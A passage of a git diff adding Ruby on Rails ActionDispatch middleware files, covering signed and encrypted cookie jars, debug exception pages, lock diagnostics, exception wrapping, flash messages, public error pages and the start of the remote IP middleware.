+    class PermanentCookieJar < AbstractCookieJar # :nodoc:
+      private
+        def commit(options)
+          options[:expires] = 20.years.from_now
+        end
+    end
+
+    class JsonSerializer # :nodoc:
+      def self.load(value)
+        ActiveSupport::JSON.decode(value)
+      end
+
+      def self.dump(value)
+        ActiveSupport::JSON.encode(value)
+      end
+    end
+
+    module SerializedCookieJars # :nodoc:
+      MARSHAL_SIGNATURE = "\x04\x08".freeze
+
+      protected
+        def needs_migration?(value)
+          request.cookies_serializer == :hybrid && value.start_with?(MARSHAL_SIGNATURE)
+        end
+
+        def serialize(value)
+          serializer.dump(value)
+        end
+
+        def deserialize(name, value)
+          if value
+            if needs_migration?(value)
+              Marshal.load(value).tap do |v|
+                self[name] = { value: v }
+              end
+            else
+              serializer.load(value)
+            end
+          end
+        end
+
+        def serializer
+          serializer = request.cookies_serializer || :marshal
+          case serializer
+          when :marshal
+            Marshal
+          when :json, :hybrid
+            JsonSerializer
+          else
+            serializer
+          end
+        end
+
+        def digest
+          request.cookies_digest || "SHA1"
+        end
+
+        def key_generator
+          request.key_generator
+        end
+    end
+
+    class SignedCookieJar < AbstractCookieJar # :nodoc:
+      include SerializedCookieJars
+
+      def initialize(parent_jar)
+        super
+        secret = key_generator.generate_key(request.signed_cookie_salt)
+        @verifier = ActiveSupport::MessageVerifier.new(secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+      end
+
+      private
+        def parse(name, signed_message)
+          deserialize name, @verifier.verified(signed_message)
+        end
+
+        def commit(options)
+          options[:value] = @verifier.generate(serialize(options[:value]))
+
+          raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
+        end
+    end
+
+    # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
+    # secrets.secret_token and secrets.secret_key_base are both set. It reads
+    # legacy cookies signed with the old dummy key generator and signs and
+    # re-saves them using the new key generator to provide a smooth upgrade path.
+    class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
+      include VerifyAndUpgradeLegacySignedMessage
+    end
+
+    class EncryptedCookieJar < AbstractCookieJar # :nodoc:
+      include SerializedCookieJars
+
+      def initialize(parent_jar)
+        super
+
+        if ActiveSupport::LegacyKeyGenerator === key_generator
+          raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " \
+            "Read the upgrade documentation to learn more about this new config option."
+        end
+
+        cipher = "aes-256-gcm"
+        key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
+        secret = key_generator.generate_key(request.authenticated_encrypted_cookie_salt || "")[0, key_len]
+
+        @encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+      end
+
+      private
+        def parse(name, encrypted_message)
+          deserialize name, @encryptor.decrypt_and_verify(encrypted_message)
+        rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage
+          nil
+        end
+
+        def commit(options)
+          options[:value] = @encryptor.encrypt_and_sign(serialize(options[:value]))
+
+          raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
+        end
+    end
+
+    # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
+    # instead of EncryptedCookieJar if secrets.secret_token and secrets.secret_key_base
+    # are both set. It reads legacy cookies signed with the old dummy key generator and
+    # encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
+    class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
+      include VerifyAndUpgradeLegacySignedMessage
+    end
+
+    # UpgradeLegacyHmacAesCbcCookieJar is used by ActionDispatch::Session::CookieStore
+    # to upgrade cookies encrypted with AES-256-CBC with HMAC to AES-256-GCM
+    class UpgradeLegacyHmacAesCbcCookieJar < EncryptedCookieJar
+      def initialize(parent_jar)
+        super
+
+        secret = key_generator.generate_key(request.encrypted_cookie_salt || "")[0, ActiveSupport::MessageEncryptor.key_len]
+        sign_secret = key_generator.generate_key(request.encrypted_signed_cookie_salt || "")
+
+        @legacy_encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+      end
+
+      def decrypt_and_verify_legacy_encrypted_message(name, signed_message)
+        deserialize(name, @legacy_encryptor.decrypt_and_verify(signed_message)).tap do |value|
+          self[name] = { value: value }
+        end
+      rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage
+        nil
+      end
+
+      private
+        def parse(name, signed_message)
+          super || decrypt_and_verify_legacy_encrypted_message(name, signed_message)
+        end
+    end
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      request = ActionDispatch::Request.new env
+
+      status, headers, body = @app.call(env)
+
+      if request.have_cookie_jar?
+        cookie_jar = request.cookie_jar
+        unless cookie_jar.committed?
+          cookie_jar.write(headers)
+          if headers[HTTP_HEADER].respond_to?(:join)
+            headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+          end
+        end
+      end
+
+      [status, headers, body]
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
new file mode 100644
index 0000000000..3006cd97ce
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require_relative "../http/request"
+require_relative "exception_wrapper"
+require_relative "../routing/inspector"
+require "action_view"
+require "action_view/base"
+
+require "pp"
+
+module ActionDispatch
+  # This middleware is responsible for logging exceptions and
+  # showing a debugging page in case the request is local.
+  class DebugExceptions
+    RESCUES_TEMPLATE_PATH = File.expand_path("templates", __dir__)
+
+    class DebugView < ActionView::Base
+      def debug_params(params)
+        clean_params = params.clone
+        clean_params.delete("action")
+        clean_params.delete("controller")
+
+        if clean_params.empty?
+          "None"
+        else
+          PP.pp(clean_params, "".dup, 200)
+        end
+      end
+
+      def debug_headers(headers)
+        if headers.present?
+          headers.inspect.gsub(",", ",\n")
+        else
+          "None"
+        end
+      end
+
+      def debug_hash(object)
+        object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+      end
+
+      def render(*)
+        logger = ActionView::Base.logger
+
+        if logger && logger.respond_to?(:silence)
+          logger.silence { super }
+        else
+          super
+        end
+      end
+    end
+
+    def initialize(app, routes_app = nil, response_format = :default)
+      @app             = app
+      @routes_app      = routes_app
+      @response_format = response_format
+    end
+
+    def call(env)
+      request = ActionDispatch::Request.new env
+      _, headers, body = response = @app.call(env)
+
+      if headers["X-Cascade"] == "pass"
+        body.close if body.respond_to?(:close)
+        raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
+      end
+
+      response
+    rescue Exception => exception
+      raise exception unless request.show_exceptions?
+      render_exception(request, exception)
+    end
+
+    private
+
+      def render_exception(request, exception)
+        backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
+        wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+        log_error(request, wrapper)
+
+        if request.get_header("action_dispatch.show_detailed_exceptions")
+          content_type = request.formats.first
+
+          if api_request?(content_type)
+            render_for_api_request(content_type, wrapper)
+          else
+            render_for_browser_request(request, wrapper)
+          end
+        else
+          raise exception
+        end
+      end
+
+      def render_for_browser_request(request, wrapper)
+        template = create_template(request, wrapper)
+        file = "rescues/#{wrapper.rescue_template}"
+
+        if request.xhr?
+          body = template.render(template: file, layout: false, formats: [:text])
+          format = "text/plain"
+        else
+          body = template.render(template: file, layout: "rescues/layout")
+          format = "text/html"
+        end
+        render(wrapper.status_code, body, format)
+      end
+
+      def render_for_api_request(content_type, wrapper)
+        body = {
+          status: wrapper.status_code,
+          error:  Rack::Utils::HTTP_STATUS_CODES.fetch(
+            wrapper.status_code,
+            Rack::Utils::HTTP_STATUS_CODES[500]
+          ),
+          exception: wrapper.exception.inspect,
+          traces: wrapper.traces
+        }
+
+        to_format = "to_#{content_type.to_sym}"
+
+        if content_type && body.respond_to?(to_format)
+          formatted_body = body.public_send(to_format)
+          format = content_type
+        else
+          formatted_body = body.to_json
+          format = Mime[:json]
+        end
+
+        render(wrapper.status_code, formatted_body, format)
+      end
+
+      def create_template(request, wrapper)
+        traces = wrapper.traces
+
+        trace_to_show = "Application Trace"
+        if traces[trace_to_show].empty? && wrapper.rescue_template != "routing_error"
+          trace_to_show = "Full Trace"
+        end
+
+        if source_to_show = traces[trace_to_show].first
+          source_to_show_id = source_to_show[:id]
+        end
+
+        DebugView.new([RESCUES_TEMPLATE_PATH],
+          request: request,
+          exception: wrapper.exception,
+          traces: traces,
+          show_source_idx: source_to_show_id,
+          trace_to_show: trace_to_show,
+          routes_inspector: routes_inspector(wrapper.exception),
+          source_extracts: wrapper.source_extracts,
+          line_number: wrapper.line_number,
+          file: wrapper.file
+        )
+      end
+
+      def render(status, body, format)
+        [status, { "Content-Type" => "#{format}; charset=#{Response.default_charset}", "Content-Length" => body.bytesize.to_s }, [body]]
+      end
+
+      def log_error(request, wrapper)
+        logger = logger(request)
+        return unless logger
+
+        exception = wrapper.exception
+
+        trace = wrapper.application_trace
+        trace = wrapper.framework_trace if trace.empty?
+
+        ActiveSupport::Deprecation.silence do
+          logger.fatal "  "
+          logger.fatal "#{exception.class} (#{exception.message}):"
+          log_array logger, exception.annoted_source_code if exception.respond_to?(:annoted_source_code)
+          logger.fatal "  "
+          log_array logger, trace
+        end
+      end
+
+      def log_array(logger, array)
+        if logger.formatter && logger.formatter.respond_to?(:tags_text)
+          logger.fatal array.join("\n#{logger.formatter.tags_text}")
+        else
+          logger.fatal array.join("\n")
+        end
+      end
+
+      def logger(request)
+        request.logger || ActionView::Base.logger || stderr_logger
+      end
+
+      def stderr_logger
+        @stderr_logger ||= ActiveSupport::Logger.new($stderr)
+      end
+
+      def routes_inspector(exception)
+        if @routes_app.respond_to?(:routes) && (exception.is_a?(ActionController::RoutingError) || exception.is_a?(ActionView::Template::Error))
+          ActionDispatch::Routing::RoutesInspector.new(@routes_app.routes.routes)
+        end
+      end
+
+      def api_request?(content_type)
+        @response_format == :api && !content_type.html?
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_locks.rb b/actionpack/lib/action_dispatch/middleware/debug_locks.rb
new file mode 100644
index 0000000000..c61a941010
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/debug_locks.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # This middleware can be used to diagnose deadlocks in the autoload interlock.
+  #
+  # To use it, insert it near the top of the middleware stack, using
+  # <tt>config/application.rb</tt>:
+  #
+  #     config.middleware.insert_before Rack::Sendfile, ActionDispatch::DebugLocks
+  #
+  # After restarting the application and re-triggering the deadlock condition,
+  # <tt>/rails/locks</tt> will show a summary of all threads currently known to
+  # the interlock, which lock level they are holding or awaiting, and their
+  # current backtrace.
+  #
+  # Generally a deadlock will be caused by the interlock conflicting with some
+  # other external lock or blocking I/O call. These cannot be automatically
+  # identified, but should be visible in the displayed backtraces.
+  #
+  # NOTE: The formatting and content of this middleware's output is intended for
+  # human consumption, and should be expected to change between releases.
+  #
+  # This middleware exposes operational details of the server, with no access
+  # control. It should only be enabled when in use, and removed thereafter.
+  class DebugLocks
+    def initialize(app, path = "/rails/locks")
+      @app = app
+      @path = path
+    end
+
+    def call(env)
+      req = ActionDispatch::Request.new env
+
+      if req.get?
+        path = req.path_info.chomp("/".freeze)
+        if path == @path
+          return render_details(req)
+        end
+      end
+
+      @app.call(env)
+    end
+
+    private
+      def render_details(req)
+        threads = ActiveSupport::Dependencies.interlock.raw_state do |threads|
+          # The Interlock itself comes to a complete halt as long as this block
+          # is executing. That gives us a more consistent picture of everything,
+          # but creates a pretty strong Observer Effect.
+          #
+          # Most directly, that means we need to do as little as possible in
+          # this block. More widely, it means this middleware should remain a
+          # strictly diagnostic tool (to be used when something has gone wrong),
+          # and not for any sort of general monitoring.
+
+          threads.each.with_index do |(thread, info), idx|
+            info[:index] = idx
+            info[:backtrace] = thread.backtrace
+          end
+
+          threads
+        end
+
+        str = threads.map do |thread, info|
+          if info[:exclusive]
+            lock_state = "Exclusive"
+          elsif info[:sharing] > 0
+            lock_state = "Sharing"
+            lock_state << " x#{info[:sharing]}" if info[:sharing] > 1
+          else
+            lock_state = "No lock"
+          end
+
+          if info[:waiting]
+            lock_state << " (yielded share)"
+          end
+
+          msg = "Thread #{info[:index]} [0x#{thread.__id__.to_s(16)} #{thread.status || 'dead'}]  #{lock_state}\n"
+
+          if info[:sleeper]
+            msg << "  Waiting in #{info[:sleeper]}"
+            msg << " to #{info[:purpose].to_s.inspect}" unless info[:purpose].nil?
+            msg << "\n"
+
+            if info[:compatible]
+              compat = info[:compatible].map { |c| c == false ? "share" : c.to_s.inspect }
+              msg << "  may be pre-empted for: #{compat.join(', ')}\n"
+            end
+
+            blockers = threads.values.select { |binfo| blocked_by?(info, binfo, threads.values) }
+            msg << "  blocked by: #{blockers.map { |i| i[:index] }.join(', ')}\n" if blockers.any?
+          end
+
+          blockees = threads.values.select { |binfo| blocked_by?(binfo, info, threads.values) }
+          msg << "  blocking: #{blockees.map { |i| i[:index] }.join(', ')}\n" if blockees.any?
+
+          msg << "\n#{info[:backtrace].join("\n")}\n" if info[:backtrace]
+        end.join("\n\n---\n\n\n")
+
+        [200, { "Content-Type" => "text/plain", "Content-Length" => str.size }, [str]]
+      end
+
+      def blocked_by?(victim, blocker, all_threads)
+        return false if victim.equal?(blocker)
+
+        case victim[:sleeper]
+        when :start_sharing
+          blocker[:exclusive] ||
+            (!victim[:waiting] && blocker[:compatible] && !blocker[:compatible].include?(false))
+        when :start_exclusive
+          blocker[:sharing] > 0 ||
+            blocker[:exclusive] ||
+            (blocker[:compatible] && !blocker[:compatible].include?(victim[:purpose]))
+        when :yield_shares
+          blocker[:exclusive]
+        when :stop_exclusive
+          blocker[:exclusive] ||
+            victim[:compatible] &&
+            victim[:compatible].include?(blocker[:purpose]) &&
+            all_threads.all? { |other| !other[:compatible] || blocker.equal?(other) || other[:compatible].include?(blocker[:purpose]) }
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
new file mode 100644
index 0000000000..4f69abfa6f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+require "rack/utils"
+
+module ActionDispatch
+  class ExceptionWrapper
+    cattr_accessor :rescue_responses, default: Hash.new(:internal_server_error).merge!(
+      "ActionController::RoutingError"               => :not_found,
+      "AbstractController::ActionNotFound"           => :not_found,
+      "ActionController::MethodNotAllowed"           => :method_not_allowed,
+      "ActionController::UnknownHttpMethod"          => :method_not_allowed,
+      "ActionController::NotImplemented"             => :not_implemented,
+      "ActionController::UnknownFormat"              => :not_acceptable,
+      "ActionController::InvalidAuthenticityToken"   => :unprocessable_entity,
+      "ActionController::InvalidCrossOriginRequest"  => :unprocessable_entity,
+      "ActionDispatch::Http::Parameters::ParseError" => :bad_request,
+      "ActionController::BadRequest"                 => :bad_request,
+      "ActionController::ParameterMissing"           => :bad_request,
+      "Rack::QueryParser::ParameterTypeError"        => :bad_request,
+      "Rack::QueryParser::InvalidParameterError"     => :bad_request
+    )
+
+    cattr_accessor :rescue_templates, default: Hash.new("diagnostics").merge!(
+      "ActionView::MissingTemplate"         => "missing_template",
+      "ActionController::RoutingError"      => "routing_error",
+      "AbstractController::ActionNotFound"  => "unknown_action",
+      "ActionView::Template::Error"         => "template_error"
+    )
+
+    attr_reader :backtrace_cleaner, :exception, :line_number, :file
+
+    def initialize(backtrace_cleaner, exception)
+      @backtrace_cleaner = backtrace_cleaner
+      @exception = original_exception(exception)
+
+      expand_backtrace if exception.is_a?(SyntaxError) || exception.cause.is_a?(SyntaxError)
+    end
+
+    def rescue_template
+      @@rescue_templates[@exception.class.name]
+    end
+
+    def status_code
+      self.class.status_code_for_exception(@exception.class.name)
+    end
+
+    def application_trace
+      clean_backtrace(:silent)
+    end
+
+    def framework_trace
+      clean_backtrace(:noise)
+    end
+
+    def full_trace
+      clean_backtrace(:all)
+    end
+
+    def traces
+      application_trace_with_ids = []
+      framework_trace_with_ids = []
+      full_trace_with_ids = []
+
+      full_trace.each_with_index do |trace, idx|
+        trace_with_id = { id: idx, trace: trace }
+
+        if application_trace.include?(trace)
+          application_trace_with_ids << trace_with_id
+        else
+          framework_trace_with_ids << trace_with_id
+        end
+
+        full_trace_with_ids << trace_with_id
+      end
+
+      {
+        "Application Trace" => application_trace_with_ids,
+        "Framework Trace" => framework_trace_with_ids,
+        "Full Trace" => full_trace_with_ids
+      }
+    end
+
+    def self.status_code_for_exception(class_name)
+      Rack::Utils.status_code(@@rescue_responses[class_name])
+    end
+
+    def source_extracts
+      backtrace.map do |trace|
+        file, line_number = extract_file_and_line_number(trace)
+
+        {
+          code: source_fragment(file, line_number),
+          line_number: line_number
+        }
+      end
+    end
+
+    private
+
+      def backtrace
+        Array(@exception.backtrace)
+      end
+
+      def original_exception(exception)
+        if @@rescue_responses.has_key?(exception.cause.class.name)
+          exception.cause
+        else
+          exception
+        end
+      end
+
+      def clean_backtrace(*args)
+        if backtrace_cleaner
+          backtrace_cleaner.clean(backtrace, *args)
+        else
+          backtrace
+        end
+      end
+
+      def source_fragment(path, line)
+        return unless Rails.respond_to?(:root) && Rails.root
+        full_path = Rails.root.join(path)
+        if File.exist?(full_path)
+          File.open(full_path, "r") do |file|
+            start = [line - 3, 0].max
+            lines = file.each_line.drop(start).take(6)
+            Hash[*(start + 1..(lines.count + start)).zip(lines).flatten]
+          end
+        end
+      end
+
+      def extract_file_and_line_number(trace)
+        # Split by the first colon followed by some digits, which works for both
+        # Windows and Unix path styles.
+        file, line = trace.match(/^(.+?):(\d+).*$/, &:captures) || trace
+        [file, line.to_i]
+      end
+
+      def expand_backtrace
+        @exception.backtrace.unshift(
+          @exception.to_s.split("\n")
+        ).flatten!
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/executor.rb b/actionpack/lib/action_dispatch/middleware/executor.rb
new file mode 100644
index 0000000000..129b18d3d9
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/executor.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "rack/body_proxy"
+
+module ActionDispatch
+  class Executor
+    def initialize(app, executor)
+      @app, @executor = app, executor
+    end
+
+    def call(env)
+      state = @executor.run!
+      begin
+        response = @app.call(env)
+        returned = response << ::Rack::BodyProxy.new(response.pop) { state.complete! }
+      ensure
+        state.complete! unless returned
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
new file mode 100644
index 0000000000..3e11846778
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -0,0 +1,300 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+
+module ActionDispatch
+  # The flash provides a way to pass temporary primitive-types (String, Array, Hash) between actions. Anything you place in the flash will be exposed
+  # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
+  # action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can
+  # then expose the flash to its template. Actually, that exposure is automatically done.
+  #
+  #   class PostsController < ActionController::Base
+  #     def create
+  #       # save post
+  #       flash[:notice] = "Post successfully created"
+  #       redirect_to @post
+  #     end
+  #
+  #     def show
+  #       # doesn't need to assign the flash notice to the template, that's done automatically
+  #     end
+  #   end
+  #
+  #   show.html.erb
+  #     <% if flash[:notice] %>
+  #       <div class="notice"><%= flash[:notice] %></div>
+  #     <% end %>
+  #
+  # Since the +notice+ and +alert+ keys are a common idiom, convenience accessors are available:
+  #
+  #   flash.alert = "You must be logged in"
+  #   flash.notice = "Post successfully created"
+  #
+  # This example places a string in the flash. And of course, you can put as many as you like at a time too. If you want to pass
+  # non-primitive types, you will have to handle that in your application. Example: To show messages with links, you will have to
+  # use sanitize helper.
+  #
+  # Just remember: They'll be gone by the time the next action has been performed.
+  #
+  # See docs on the FlashHash class for more details about the flash.
+  class Flash
+    KEY = "action_dispatch.request.flash_hash".freeze
+
+    module RequestMethods
+      # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
+      # read a notice you put there or <tt>flash["notice"] = "hello"</tt>
+      # to put a new one.
+      def flash
+        flash = flash_hash
+        return flash if flash
+        self.flash = Flash::FlashHash.from_session_value(session["flash"])
+      end
+
+      def flash=(flash)
+        set_header Flash::KEY, flash
+      end
+
+      def flash_hash # :nodoc:
+        get_header Flash::KEY
+      end
+
+      def commit_flash # :nodoc:
+        session    = self.session || {}
+        flash_hash = self.flash_hash
+
+        if flash_hash && (flash_hash.present? || session.key?("flash"))
+          session["flash"] = flash_hash.to_session_value
+          self.flash = flash_hash.dup
+        end
+
+        if (!session.respond_to?(:loaded?) || session.loaded?) && # reset_session uses {}, which doesn't implement #loaded?
+            session.key?("flash") && session["flash"].nil?
+          session.delete("flash")
+        end
+      end
+
+      def reset_session # :nodoc
+        super
+        self.flash = nil
+      end
+    end
+
+    class FlashNow #:nodoc:
+      attr_accessor :flash
+
+      def initialize(flash)
+        @flash = flash
+      end
+
+      def []=(k, v)
+        k = k.to_s
+        @flash[k] = v
+        @flash.discard(k)
+        v
+      end
+
+      def [](k)
+        @flash[k.to_s]
+      end
+
+      # Convenience accessor for <tt>flash.now[:alert]=</tt>.
+      def alert=(message)
+        self[:alert] = message
+      end
+
+      # Convenience accessor for <tt>flash.now[:notice]=</tt>.
+      def notice=(message)
+        self[:notice] = message
+      end
+    end
+
+    class FlashHash
+      include Enumerable
+
+      def self.from_session_value(value) #:nodoc:
+        case value
+        when FlashHash # Rails 3.1, 3.2
+          flashes = value.instance_variable_get(:@flashes)
+          if discard = value.instance_variable_get(:@used)
+            flashes.except!(*discard)
+          end
+          new(flashes, flashes.keys)
+        when Hash # Rails 4.0
+          flashes = value["flashes"]
+          if discard = value["discard"]
+            flashes.except!(*discard)
+          end
+          new(flashes, flashes.keys)
+        else
+          new
+        end
+      end
+
+      # Builds a hash containing the flashes to keep for the next request.
+      # If there are none to keep, returns +nil+.
+      def to_session_value #:nodoc:
+        flashes_to_keep = @flashes.except(*@discard)
+        return nil if flashes_to_keep.empty?
+        { "discard" => [], "flashes" => flashes_to_keep }
+      end
+
+      def initialize(flashes = {}, discard = []) #:nodoc:
+        @discard = Set.new(stringify_array(discard))
+        @flashes = flashes.stringify_keys
+        @now     = nil
+      end
+
+      def initialize_copy(other)
+        if other.now_is_loaded?
+          @now = other.now.dup
+          @now.flash = self
+        end
+        super
+      end
+
+      def []=(k, v)
+        k = k.to_s
+        @discard.delete k
+        @flashes[k] = v
+      end
+
+      def [](k)
+        @flashes[k.to_s]
+      end
+
+      def update(h) #:nodoc:
+        @discard.subtract stringify_array(h.keys)
+        @flashes.update h.stringify_keys
+        self
+      end
+
+      def keys
+        @flashes.keys
+      end
+
+      def key?(name)
+        @flashes.key? name.to_s
+      end
+
+      def delete(key)
+        key = key.to_s
+        @discard.delete key
+        @flashes.delete key
+        self
+      end
+
+      def to_hash
+        @flashes.dup
+      end
+
+      def empty?
+        @flashes.empty?
+      end
+
+      def clear
+        @discard.clear
+        @flashes.clear
+      end
+
+      def each(&block)
+        @flashes.each(&block)
+      end
+
+      alias :merge! :update
+
+      def replace(h) #:nodoc:
+        @discard.clear
+        @flashes.replace h.stringify_keys
+        self
+      end
+
+      # Sets a flash that will not be available to the next action, only to the current.
+      #
+      #     flash.now[:message] = "Hello current action"
+      #
+      # This method enables you to use the flash as a central messaging system in your app.
+      # When you need to pass an object to the next action, you use the standard flash assign (<tt>[]=</tt>).
+      # When you need to pass an object to the current action, you use <tt>now</tt>, and your object will
+      # vanish when the current action is done.
+      #
+      # Entries set via <tt>now</tt> are accessed the same way as standard entries: <tt>flash['my-key']</tt>.
+      #
+      # Also, brings two convenience accessors:
+      #
+      #   flash.now.alert = "Beware now!"
+      #   # Equivalent to flash.now[:alert] = "Beware now!"
+      #
+      #   flash.now.notice = "Good luck now!"
+      #   # Equivalent to flash.now[:notice] = "Good luck now!"
+      def now
+        @now ||= FlashNow.new(self)
+      end
+
+      # Keeps either the entire current flash or a specific flash entry available for the next action:
+      #
+      #    flash.keep            # keeps the entire flash
+      #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
+      def keep(k = nil)
+        k = k.to_s if k
+        @discard.subtract Array(k || keys)
+        k ? self[k] : self
+      end
+
+      # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
+      #
+      #     flash.discard              # discard the entire flash at the end of the current action
+      #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
+      def discard(k = nil)
+        k = k.to_s if k
+        @discard.merge Array(k || keys)
+        k ? self[k] : self
+      end
+
+      # Mark for removal entries that were kept, and delete unkept ones.
+      #
+      # This method is called automatically by filters, so you generally don't need to care about it.
+      def sweep #:nodoc:
+        @discard.each { |k| @flashes.delete k }
+        @discard.replace @flashes.keys
+      end
+
+      # Convenience accessor for <tt>flash[:alert]</tt>.
+      def alert
+        self[:alert]
+      end
+
+      # Convenience accessor for <tt>flash[:alert]=</tt>.
+      def alert=(message)
+        self[:alert] = message
+      end
+
+      # Convenience accessor for <tt>flash[:notice]</tt>.
+      def notice
+        self[:notice]
+      end
+
+      # Convenience accessor for <tt>flash[:notice]=</tt>.
+      def notice=(message)
+        self[:notice] = message
+      end
+
+      protected
+        def now_is_loaded?
+          @now
+        end
+
+      private
+        def stringify_array(array) # :doc:
+          array.map do |item|
+            item.kind_of?(Symbol) ? item.to_s : item
+          end
+        end
+    end
+
+    def self.new(app) app; end
+  end
+
+  class Request
+    prepend Flash::RequestMethods
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
new file mode 100644
index 0000000000..02be97b4cc
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # When called, this middleware renders an error page. By default if an HTML
+  # response is expected it will render static error pages from the `/public`
+  # directory. For example when this middleware receives a 500 response it will
+  # render the template found in `/public/500.html`.
+  # If an internationalized locale is set, this middleware will attempt to render
+  # the template in `/public/500.<locale>.html`. If an internationalized template
+  # is not found it will fall back on `/public/500.html`.
+  #
+  # When a request with a content type other than HTML is made, this middleware
+  # will attempt to convert error information into the appropriate response type.
+  class PublicExceptions
+    attr_accessor :public_path
+
+    def initialize(public_path)
+      @public_path = public_path
+    end
+
+    def call(env)
+      request      = ActionDispatch::Request.new(env)
+      status       = request.path_info[1..-1].to_i
+      content_type = request.formats.first
+      body         = { status: status, error: Rack::Utils::HTTP_STATUS_CODES.fetch(status, Rack::Utils::HTTP_STATUS_CODES[500]) }
+
+      render(status, content_type, body)
+    end
+
+    private
+
+      def render(status, content_type, body)
+        format = "to_#{content_type.to_sym}" if content_type
+        if format && body.respond_to?(format)
+          render_format(status, content_type, body.public_send(format))
+        else
+          render_html(status)
+        end
+      end
+
+      def render_format(status, content_type, body)
+        [status, { "Content-Type" => "#{content_type}; charset=#{ActionDispatch::Response.default_charset}",
+                  "Content-Length" => body.bytesize.to_s }, [body]]
+      end
+
+      def render_html(status)
+        path = "#{public_path}/#{status}.#{I18n.locale}.html"
+        path = "#{public_path}/#{status}.html" unless (found = File.exist?(path))
+
+        if found || File.exist?(path)
+          render_format(status, "text/html", File.read(path))
+        else
+          [404, { "X-Cascade" => "pass" }, []]
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
new file mode 100644
index 0000000000..8bb3ba7504
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # ActionDispatch::Reloader wraps the request with callbacks provided by ActiveSupport::Reloader
+  # callbacks, intended to assist with code reloading during development.
+  #
+  # By default, ActionDispatch::Reloader is included in the middleware stack
+  # only in the development environment; specifically, when +config.cache_classes+
+  # is false.
+  class Reloader < Executor
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
new file mode 100644
index 0000000000..7ccb99c7f0
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+require "ipaddr"
+
+module ActionDispatch
+  # This middleware calculates the IP address of the remote client that is
+  # making the request. It does this by checking various headers that could
+  # contain the address, and then picking the last-set address that is not
+  # on the list of trusted IPs. This follows the precedent set by e.g.
+  # {the Tomcat server}[https://issues.apache.org/bugzilla/show_bug.cgi?id=50453],
+  # with {reasoning explained at length}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection]
+  # by @gingerlime. A more detailed explanation of the algorithm is given
+  # at GetIp#calculate_ip.
+  #
+  # Some Rack servers concatenate repeated headers, like {HTTP RFC 2616}[http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2]
+  # requires. Some Rack servers simply drop preceding headers, and only report
+  # the value that was {given in the last header}[http://andre.arko.net/2011/12/26/repeated-headers-and-ruby-web-servers].
+  # If you are behind multiple proxy servers (like NGINX to HAProxy to Unicorn)
+  # then you should test your Rack server to make sure your data is good.
+  #
